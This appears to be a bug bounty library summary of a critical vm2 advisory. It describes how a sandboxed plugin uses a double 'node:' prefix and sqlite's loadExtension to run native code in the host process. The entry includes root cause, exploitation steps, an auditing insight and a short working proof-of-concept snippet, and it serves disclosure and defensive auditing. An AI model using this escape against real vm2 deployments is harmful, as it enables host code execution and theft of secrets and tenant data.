# vm2 allows a sandboxed plugin to execute native code through `node:sqlite`

vm2's read-only wrapper on node:sqlite leaves DatabaseSync.loadExtension callable, letting a sandboxed plugin load a bundled native library into the host process and execute arbitrary native code.

- Payout: Research
- Severity: critical
- Program: vm2
- Found by: Forrof
- Disclosed: 2026-10-01
- CVE: CVE-2026-92938
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-6w8r-xxw2-g3hx
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-6w8r-xxw2-g3hx
- Tags: area:oss domain:oss impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:chained technique:source-review vuln:rce vuln:sandbox-escape

**Target:** NodeVM sandbox builtin loader (node:sqlite)
**Root cause:** vm2's readonly() wrapper blocks property assignment but forwards callable methods like DatabaseSync.loadExtension() to the host module, and the resolver accepts any 'node:'-prefixed request while the runtime strips only one prefix, so 'node:node:sqlite' reaches the real host module.
**Steps:**
1. Configure NodeVM with `require: { builtin: ['node:sqlite'] }` (or `builtin: ['*']`).
2. In the sandboxed plugin, `const { DatabaseSync } = require('node:node:sqlite');` — double prefix resolves to the host module.
3. Create `new DatabaseSync(':memory:', { allowExtension: true })`.
4. Derive the bundled library path from `__dirname` (CommonJS supplies it without fs).
5. Call `database.loadExtension(__dirname + '/libvm2_sqlite_probe.dylib')`; SQLite loads the library into the host process and invokes its entry point.
6. Compile the extension with `npm run poc` and observe `nativeExtensionLoaded: true` and the marker file written by native code.
**How found:** Code review of the builtin inventory, resolver, runtime loader and readonly wrapper: noticed the resolver accepts any 'node:'-prefixed string while the loader strips exactly one prefix, and that readonly() only blocks assignment, not method invocation.
**Exploitation:** Attacker ships an untrusted plugin package containing JS plus a prebuilt native library; when the host evaluates the plugin in NodeVM with node:sqlite allowed, the plugin loads the library via loadExtension and native code runs with the host process's OS identity, enabling secret/file theft, persistence, internal network access, cross-tenant data theft, or process corruption.
**Escalation:** Read-only wrapper bypassed via callable method forwarding; no fs/process/child_process needed since __dirname and a bundled library suffice.
**Insight:** When auditing sandbox builtin allowlists, check for prefix-normalization mismatches (double 'node:' prefixes) and for read-only proxies that still forward dangerous callable methods like loadExtension, which reach native host code.

## Proof of concept (copied exactly from the original report)

**Sandboxed plugin loading native extension via node:sqlite**

```
const { DatabaseSync } = require('node:node:sqlite');
const database = new DatabaseSync(':memory:', { allowExtension: true });
database.loadExtension(__dirname + '/libvm2_sqlite_probe.dylib');
database.close();
```

**Restrictive NodeVM config allowing only node:sqlite**

```
new NodeVM({
  console: 'off',
  require: { builtin: ['node:sqlite'] },
});
```

